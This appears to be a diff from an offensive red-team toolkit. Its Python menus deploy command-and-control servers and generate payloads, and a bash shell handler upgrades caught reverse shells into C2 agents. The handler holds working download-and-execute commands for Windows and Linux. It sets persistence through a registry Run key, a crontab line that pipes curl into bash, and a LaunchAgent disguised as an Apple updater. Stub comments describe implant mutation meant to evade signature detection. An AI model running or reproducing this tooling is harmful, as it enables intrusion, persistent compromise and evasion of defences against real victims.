print(f" Password: {config['smtp_auth_pass']}")
print(f"{COLORS['YELLOW']}Note: These credentials will be saved in the deployment info file{COLORS['RESET']}")
# Security Configuration
print(f"\n{COLORS['BLUE']}Security Configuration{COLORS['RESET']}")
zero_logs_choice = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower()
config['zero_logs'] = zero_logs_choice != 'n' # Default to True unless explicitly 'n'
# Post-deployment options
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
return config
def c2_menu():
"""Display the C2 submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}======================={COLORS['RESET']}")
print(f"1) C2 Server Only {COLORS['GREEN']}*QUICK*{COLORS['RESET']} {COLORS['GRAY']}(Basic setup){COLORS['RESET']}")
print(f"2) Havoc C2 Server {COLORS['GRAY']}(Modern C2 framework){COLORS['RESET']}")
print(f"3) Sliver Server {COLORS['GRAY']}(Go-based C2){COLORS['RESET']}")
print(f"4) Cobalt Strike Server {COLORS['GRAY']}(Commercial C2){COLORS['RESET']}")
print(f"5) Mythic Server {COLORS['GRAY']}(Cross-platform C2){COLORS['RESET']}")
print(f"6) C2 + Redirector {COLORS['GRAY']}(C2 with traffic redirection){COLORS['RESET']}")
print(f"7) Full C2 Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_c2_only()
elif choice == "2":
deploy_havoc_c2()
elif choice == "3":
deploy_sliver_c2()
elif choice == "4":
deploy_cobaltstrike_c2()
elif choice == "5":
deploy_mythic_c2()
elif choice == "6":
deploy_c2_with_redirector()
elif choice == "7":
deploy_full_c2()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
def deploy_c2_only():
"""Deploy C2 server only"""
config = gather_c2_parameters()
if not config:
return
config['deployment_type'] = 'c2_only'
config['c2_only'] = True
print(f"\n{COLORS['GREEN']}Deploying C2 server only...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_c2_with_redirector():
"""Deploy C2 server with redirector"""
config = gather_c2_parameters()
if not config:
return
# Additional redirector configuration
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
config['deployment_type'] = 'c2_with_redirector'
config['deploy_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying C2 server with redirector...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_full_c2():
"""Deploy full C2 infrastructure"""
config = gather_c2_parameters()
if not config:
return
# Additional configuration for full deployment
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
config['deployment_type'] = 'full_c2'
config['deploy_redirector'] = True
config['deploy_tracker'] = confirm_action("Deploy email tracker?", default=False)
print(f"\n{COLORS['GREEN']}Deploying full C2 infrastructure...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_havoc_c2():
"""Deploy Havoc C2 server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'havoc'
config['deployment_type'] = 'havoc_c2'
print(f"\n{COLORS['GREEN']}Deploying Havoc C2 server...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_cobaltstrike_c2():
"""Deploy Cobalt Strike server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'cobaltstrike'
config['deployment_type'] = 'cobaltstrike_c2'
# Cobalt Strike specific configuration
license_path = input("Path to Cobalt Strike license file [optional]: ")
if license_path:
config['cobaltstrike_license'] = license_path
print(f"\n{COLORS['GREEN']}Deploying Cobalt Strike server...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_sliver_c2():
"""Deploy Sliver C2 server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'sliver'
config['deployment_type'] = 'sliver_c2'
print(f"\n{COLORS['GREEN']}Deploying Sliver C2 server...{COLORS['RESET']}")
execute_c2_deployment(config)
def deploy_mythic_c2():
"""Deploy Mythic C2 server specifically"""
config = gather_c2_parameters()
if not config:
return
config['c2_framework'] = 'mythic'
config['deployment_type'] = 'mythic_c2'
print(f"\n{COLORS['GREEN']}Deploying Mythic C2 server...{COLORS['RESET']}")
execute_c2_deployment(config)
def execute_c2_deployment(config):
"""Execute C2 infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting C2 deployment...{COLORS['RESET']}")
# Archive old logs before starting new deployment
print(f"Archiving old logs...")
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
# Set up logging
log_file = setup_logging(config['deployment_id'], "c2_deployment")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Provider: {config['provider']}")
print(f"Domain: {config['domain']}")
print(f"C2 Framework: {config['c2_framework']}")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with C2 deployment?{COLORS['RESET']}", default=False):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Execute the actual deployment using the deployment engine
from utils.deployment_engine import deploy_infrastructure
success = deploy_infrastructure(config)
if success:
print(f"\n{COLORS['GREEN']}C2 infrastructure deployed successfully!{COLORS['RESET']}")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}C2 infrastructure deployment failed.{COLORS['RESET']}")
wait_for_input()
if __name__ == "__main__":
c2_menu()
+447
View File
@@ -0,0 +1,447 @@
#!/usr/bin/env python3
"""
Chaos C2 — c2itall integration module
Deploy and manage the Chaos C2 framework (Havoc fork) locally or on a remote host.
"""
import os
import sys
import subprocess
import glob
# Add parent paths for imports
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
# ─── Path Registry ────────────────────────────────────────────────────────────
CHAOS_PATH = os.path.expanduser('~/tools/chaos')
INSTALL_SH = os.path.join(CHAOS_PATH, 'Install.sh')
TEAMSERVER = os.path.join(CHAOS_PATH, 'teamserver')
DATA_DIR = os.path.join(CHAOS_PATH, 'data')
LOGS_DIR = os.path.join(DATA_DIR, 'logs')
WS_PATH_FILE = os.path.join(DATA_DIR, '.ws_path')
PROFILES_DIR = os.path.join(CHAOS_PATH, 'profiles')
# ─── SSH helpers ──────────────────────────────────────────────────────────────
def _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, command=None, interactive=False):
"""Build an SSH command list."""
cmd = ['ssh']
if ssh_key:
cmd.extend(['-i', ssh_key])
cmd.extend(['-p', str(ssh_port)])
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
cmd.extend([
'-o', 'StrictHostKeyChecking=accept-new',
'-o', f'UserKnownHostsFile={known_hosts}',
'-o', 'IdentitiesOnly=yes',
])
if interactive:
cmd.append('-t')
cmd.append(f'{ssh_user}@{host}')
if command:
cmd.append(command)
return cmd
def _build_scp_cmd(ssh_port, ssh_key=None):
"""Build base SCP command with consistent SSH options."""
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
cmd = [
'scp',
'-P', str(ssh_port),
'-o', 'StrictHostKeyChecking=accept-new',
'-o', f'UserKnownHostsFile={known_hosts}',
]
if ssh_key:
cmd.extend(['-i', ssh_key])
return cmd
# ─── Remote target prompt ─────────────────────────────────────────────────────
def _prompt_remote_target():
"""Prompt for host/user/port/key. Returns (host, user, port, key) or None on cancel."""
print(f"\n{COLORS['CYAN']}Remote Target{COLORS['RESET']}")
print(f"{COLORS['WHITE']}============={COLORS['RESET']}")
host = input(f" Remote host (IP or hostname): ").strip()
if not host:
print(f"{COLORS['YELLOW']}No host provided{COLORS['RESET']}")
return None, None, None, None
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or 'root'
ssh_port_raw = input(f" SSH port [{COLORS['CYAN']}22{COLORS['RESET']}]: ").strip() or '22'
try:
ssh_port = int(ssh_port_raw)
except ValueError:
ssh_port = 22
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
return host, ssh_user, ssh_port, ssh_key
# ─── Profile selection ────────────────────────────────────────────────────────
def _select_profile(label="Select profile"):
"""List available profiles and let the user choose one. Returns path or None."""
profiles = []
if os.path.isdir(PROFILES_DIR):
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
profiles.sort()
if not profiles:
print(f" {COLORS['YELLOW']}No profiles found in {PROFILES_DIR}{COLORS['RESET']}")
manual = input(f" Enter profile path manually (blank to cancel): ").strip()
return manual or None
print(f"\n {COLORS['CYAN']}{label}:{COLORS['RESET']}")
for i, p in enumerate(profiles, 1):
print(f" {i}) {os.path.basename(p)}")
raw = input(f"\n Select [1]: ").strip() or '1'
try:
idx = int(raw) - 1
if 0 <= idx < len(profiles):
return profiles[idx]
except ValueError:
pass
print(f" {COLORS['YELLOW']}Invalid selection — using first profile{COLORS['RESET']}")
return profiles[0]
# ─── Local actions ────────────────────────────────────────────────────────────
def _deploy_local():
"""Run Install.sh locally after a pre-flight check."""
if not os.path.exists(INSTALL_SH):
print(f"\n{COLORS['RED']}Install.sh not found at {INSTALL_SH}{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Clone the Chaos repo to ~/tools/chaos first{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Running pre-flight check (Install.sh --check)...{COLORS['RESET']}")
check_result = subprocess.run(
['bash', INSTALL_SH, '--check'],
cwd=CHAOS_PATH,
capture_output=True,
text=True,
)
if check_result.stdout:
print(check_result.stdout)
if check_result.stderr:
print(check_result.stderr)
if check_result.returncode != 0:
print(f"{COLORS['YELLOW']}Pre-flight check reported issues (rc={check_result.returncode}) — continue anyway? (y/N): {COLORS['RESET']}", end='')
if input().strip().lower() != 'y':
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Installing Chaos C2 locally...{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Note: script may require sudo — you may be prompted for your password.{COLORS['RESET']}\n")
try:
subprocess.run(['bash', INSTALL_SH], cwd=CHAOS_PATH)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Installation interrupted{COLORS['RESET']}")
wait_for_input()
def _deploy_remote():
"""SCP the chaos repo to a remote host and run Install.sh over SSH."""
if not os.path.isdir(CHAOS_PATH):
print(f"\n{COLORS['RED']}Chaos source not found at {CHAOS_PATH}{COLORS['RESET']}")
wait_for_input()
return
host, ssh_user, ssh_port, ssh_key = _prompt_remote_target()
if not host:
wait_for_input()
return
remote_staging = '/tmp/chaos-deploy'
print(f"\n{COLORS['CYAN']}Creating remote staging directory on {ssh_user}@{host}...{COLORS['RESET']}")
mkdir_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
f'rm -rf {remote_staging} && mkdir -p {remote_staging}')
result = subprocess.run(mkdir_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['RED']}Failed to create remote staging dir: {result.stderr}{COLORS['RESET']}")
wait_for_input()
return
print(f"{COLORS['CYAN']}Copying Chaos to {ssh_user}@{host}:{remote_staging}...{COLORS['RESET']}")
scp_cmd = _build_scp_cmd(ssh_port, ssh_key)
scp_cmd.extend(['-r', CHAOS_PATH + '/'])
scp_cmd.append(f'{ssh_user}@{host}:{remote_staging}/')
result = subprocess.run(scp_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
wait_for_input()
return
print(f" {COLORS['GREEN']}Files copied{COLORS['RESET']}")
print(f"\n{COLORS['CYAN']}Running Install.sh on {host}...{COLORS['RESET']}")
install_cmd_str = f'cd {remote_staging} && bash Install.sh'
ssh_install = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
install_cmd_str, interactive=True)
try:
subprocess.run(ssh_install)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Remote install interrupted{COLORS['RESET']}")
wait_for_input()
def _start_teamserver():
"""Start the Chaos teamserver with a selected profile."""
if not os.path.exists(TEAMSERVER):
print(f"\n{COLORS['RED']}teamserver binary not found at {TEAMSERVER}{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Run 'Deploy Chaos (local)' first to build it{COLORS['RESET']}")
wait_for_input()
return
profile = _select_profile("Select listener profile")
if not profile:
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Starting Chaos teamserver with profile: {os.path.basename(profile)}{COLORS['RESET']}")
print(f"{COLORS['GRAY']}Press Ctrl+C to stop{COLORS['RESET']}\n")
try:
subprocess.run([TEAMSERVER, '-p', profile], cwd=CHAOS_PATH)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Teamserver stopped by user{COLORS['RESET']}")
wait_for_input()
def _stop_teamserver():
"""Find and kill the teamserver process."""
print(f"\n{COLORS['CYAN']}Looking for running teamserver process...{COLORS['RESET']}")
result = subprocess.run(
['pgrep', '-f', 'teamserver'],
capture_output=True, text=True
)
pids = result.stdout.strip().splitlines()
if not pids:
print(f"{COLORS['YELLOW']}No teamserver process found{COLORS['RESET']}")
wait_for_input()
return
print(f" Found PID(s): {', '.join(pids)}")
confirm = input(f" {COLORS['YELLOW']}Kill these processes? (y/N): {COLORS['RESET']}").strip().lower()
if confirm != 'y':
print(f"{COLORS['GREEN']}Cancelled{COLORS['RESET']}")
wait_for_input()
return
for pid in pids:
kill_result = subprocess.run(['kill', pid], capture_output=True, text=True)
if kill_result.returncode == 0:
print(f" {COLORS['GREEN']}Killed PID {pid}{COLORS['RESET']}")
else:
print(f" {COLORS['RED']}Failed to kill PID {pid}: {kill_result.stderr.strip()}{COLORS['RESET']}")
wait_for_input()
def _show_status():
"""Check if teamserver is running, show WS path and active profile."""
print(f"\n{COLORS['CYAN']}Chaos C2 Status{COLORS['RESET']}")
print(f"{COLORS['WHITE']}==============={COLORS['RESET']}")
# Check for running process
result = subprocess.run(['pgrep', '-a', '-f', 'teamserver'], capture_output=True, text=True)
if result.stdout.strip():
print(f" Teamserver: {COLORS['GREEN']}RUNNING{COLORS['RESET']}")
for line in result.stdout.strip().splitlines():
print(f" {COLORS['GRAY']}{line}{COLORS['RESET']}")
else:
print(f" Teamserver: {COLORS['RED']}NOT RUNNING{COLORS['RESET']}")
# Show WS path
if os.path.exists(WS_PATH_FILE):
with open(WS_PATH_FILE) as f:
ws_path = f.read().strip()
print(f" WS Path: {COLORS['CYAN']}{ws_path}{COLORS['RESET']}")
else:
print(f" WS Path: {COLORS['GRAY']}(not set){COLORS['RESET']}")
# Show install dir
if os.path.isdir(CHAOS_PATH):
print(f" Install: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']}")
else:
print(f" Install: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
# Show available profiles
if os.path.isdir(PROFILES_DIR):
profiles = []
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
if profiles:
print(f" Profiles:")
for p in sorted(profiles):
print(f" {COLORS['GRAY']}{os.path.basename(p)}{COLORS['RESET']}")
else:
print(f" Profiles: {COLORS['YELLOW']}none found in {PROFILES_DIR}{COLORS['RESET']}")
wait_for_input()
def _generate_payload():
"""Interactive payload generation: listener profile, arch, format, output path."""
if not os.path.exists(TEAMSERVER):
print(f"\n{COLORS['RED']}teamserver not found — build Chaos first{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Payload Generation{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=================={COLORS['RESET']}")
profile = _select_profile("Select listener profile for payload")
if not profile:
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
wait_for_input()
return
print(f"\n Architecture:")
print(f" 1) x86_64 (64-bit)")
print(f" 2) x86 (32-bit)")
arch_choice = input(f" Select [1]: ").strip() or '1'
arch = 'x86_64' if arch_choice != '2' else 'x86'
print(f"\n Format:")
print(f" 1) exe (Windows executable)")
print(f" 2) dll (Windows DLL)")
print(f" 3) bin (raw shellcode)")
fmt_choice = input(f" Select [1]: ").strip() or '1'
fmt_map = {'1': 'exe', '2': 'dll', '3': 'bin'}
fmt = fmt_map.get(fmt_choice, 'exe')
default_out = os.path.join(CHAOS_PATH, 'payloads', f'payload_{arch}.{fmt}')
out_path = input(f"\n Output path [{COLORS['CYAN']}{default_out}{COLORS['RESET']}]: ").strip() or default_out
os.makedirs(os.path.dirname(out_path), exist_ok=True)
print(f"\n{COLORS['CYAN']}Generating payload...{COLORS['RESET']}")
cmd = [TEAMSERVER, 'generate', '--profile', profile,
'--arch', arch, '--format', fmt, '--output', out_path]
try:
result = subprocess.run(cmd, cwd=CHAOS_PATH, capture_output=True, text=True)
if result.stdout:
print(result.stdout)
if result.stderr:
print(result.stderr)
if result.returncode == 0:
print(f"{COLORS['GREEN']}Payload written to: {out_path}{COLORS['RESET']}")
else:
print(f"{COLORS['RED']}Payload generation failed (rc={result.returncode}){COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Note: 'generate' subcommand may differ in your build — check teamserver --help{COLORS['RESET']}")
except FileNotFoundError:
print(f"{COLORS['RED']}teamserver binary not executable — did the build complete?{COLORS['RESET']}")
wait_for_input()
def _view_loot():
"""Tail structured JSON logs from data/logs/."""
if not os.path.isdir(LOGS_DIR):
print(f"\n{COLORS['YELLOW']}Logs directory not found: {LOGS_DIR}{COLORS['RESET']}")
print(f"{COLORS['GRAY']}Logs will appear here after the teamserver has been started{COLORS['RESET']}")
wait_for_input()
return
log_files = sorted(glob.glob(os.path.join(LOGS_DIR, '*.json')) +
glob.glob(os.path.join(LOGS_DIR, '*.log')))
if not log_files:
print(f"\n{COLORS['YELLOW']}No log files found in {LOGS_DIR}{COLORS['RESET']}")
wait_for_input()
return
print(f"\n{COLORS['CYAN']}Available log files:{COLORS['RESET']}")
for i, lf in enumerate(log_files, 1):
size = os.path.getsize(lf)
print(f" {i}) {os.path.basename(lf)} ({size} bytes)")
raw = input(f"\n Select log to tail [1]: ").strip() or '1'
try:
idx = int(raw) - 1
if 0 <= idx < len(log_files):
chosen = log_files[idx]
else:
chosen = log_files[0]
except ValueError:
chosen = log_files[0]
lines_raw = input(f" Lines to show [{COLORS['CYAN']}50{COLORS['RESET']}]: ").strip() or '50'
try:
lines = int(lines_raw)
except ValueError:
lines = 50
print(f"\n{COLORS['CYAN']}--- {os.path.basename(chosen)} (last {lines} lines) ---{COLORS['RESET']}\n")
try:
result = subprocess.run(['tail', '-n', str(lines), chosen],
capture_output=True, text=True)
print(result.stdout)
except Exception as e:
print(f"{COLORS['RED']}Error reading log: {e}{COLORS['RESET']}")
wait_for_input()
# ─── Main menu ────────────────────────────────────────────────────────────────
def chaos_menu():
"""Main entry point — called from c2itall deploy.py tools_menu()."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}CHAOS C2{COLORS['RESET']}")
print(f"{COLORS['WHITE']}========{COLORS['RESET']}")
print(f" Havoc-based C2 framework")
# Show whether source is available
if os.path.isdir(CHAOS_PATH):
ts_label = (f"{COLORS['GREEN']}built{COLORS['RESET']}"
if os.path.exists(TEAMSERVER)
else f"{COLORS['YELLOW']}not built{COLORS['RESET']}")
print(f" Source: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']} (teamserver: {ts_label})")
else:
print(f" Source: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
print()
print(f"1) Deploy Chaos {COLORS['CYAN']}(local — runs Install.sh){COLORS['RESET']}")
print(f"2) Deploy Chaos {COLORS['CYAN']}(remote SSH — SCP + install){COLORS['RESET']}")
print(f"3) Start Teamserver")
print(f"4) Stop Teamserver")
print(f"5) Show Status")
print(f"6) Generate Payload")
print(f"7) View Loot {COLORS['GRAY']}(tail data/logs/){COLORS['RESET']}")
print(f"99) Return to Tools Menu")
choice = input(f"\nSelect an option: ").strip()
if choice == '1':
_deploy_local()
elif choice == '2':
_deploy_remote()
elif choice == '3':
_start_teamserver()
elif choice == '4':
_stop_teamserver()
elif choice == '5':
_show_status()
elif choice == '6':
_generate_payload()
elif choice == '7':
_view_loot()
elif choice == '99':
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
# OMITTED — Havoc C2 framework installer
#
# Installs Havoc C2 teamserver and client from source, configures systemd service,
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
# firewall rules restricting access to redirector IPs only).
#
# Omitted from public release. Present in operational deployments.
echo "[!] Havoc installer not included in public release."
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
# OMITTED — Havoc profile mutation script
#
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
# Feeds output directly into the teamserver configuration pipeline.
#
# Omitted from public release. Present in operational deployments.
echo "[!] Havoc profile mutator not included in public release."
+218
View File
@@ -0,0 +1,218 @@
#!/bin/bash
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
# Configuration
LISTEN_PORT=4488
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
HAVOC_PORT=40056 # Havoc default Teamserver port
HAVOC_USER="admin"
HAVOC_DIR="/root/Tools/Havoc"
WINDOWS_PAYLOAD="windows/agent_win.exe"
LINUX_PAYLOAD="linux/agent_linux"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Get Havoc password
get_havoc_password() {
# Extract password from Havoc profile
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
echo $HAVOC_PASS
}
# Deploy appropriate Havoc agent based on OS
deploy_agent() {
local connection=$1
local os_type=$2
log "Deploying Havoc agent for detected OS: $os_type"
# Get the latest payload paths from manifest
local manifest="/root/Tools/Havoc/payloads/manifest.json"
if [ -f "$manifest" ]; then
if [ "$os_type" == "windows" ]; then
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
elif [ "$os_type" == "linux" ]; then
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
fi
else
# Use default paths if manifest doesn't exist
if [ "$os_type" == "windows" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
elif [ "$os_type" == "linux" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
fi
fi
case $os_type in
windows)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use PowerShell to download and execute
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
linux)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
macos)
# For macOS, we'll attempt to use the Linux payload
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
esac
log "Havoc agent deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy Havoc agent
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Havoc agent deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+10
View File
@@ -0,0 +1,10 @@
#!/bin/bash
# OMITTED — implant mutation script
#
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
# names, mutex strings) before each compile to defeat signature-based detection.
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
# a fresh shellcode blob, and backs up the previous payload with a timestamp.
#
# Omitted from public release. Present in operational deployments.
echo "[!] Implant mutator not included in public release."
+302
View File
@@ -0,0 +1,302 @@
#!/bin/bash
# post_install_c2.sh - Post-installation setup for C2 server
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Default settings
DEBUG=false
RUN_ON_REDIRECTOR=false
# Show usage information
function show_usage() {
echo "Usage: $0 [options]"
echo ""
echo "Options:"
echo " -d, --debug Enable debug/verbose output"
echo " -r, --run-on-redirector Run post-install script on redirector"
echo " -h, --help Show this help message"
echo ""
}
# Process command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
-d|--debug)
DEBUG=true
shift
;;
-r|--run-on-redirector)
RUN_ON_REDIRECTOR=true
shift
;;
-h|--help)
show_usage
exit 0
;;
*)
echo "Unknown option: $1"
show_usage
exit 1
;;
esac
done
# Debug function - only prints if DEBUG is true
function debug() {
if [ "$DEBUG" = true ]; then
echo -e "${BLUE}[DEBUG] $1${NC}"
fi
}
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
debug "Checking DNS for $domain"
debug "Current IP: $current_ip"
debug "Resolved IP: $resolved_ip"
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
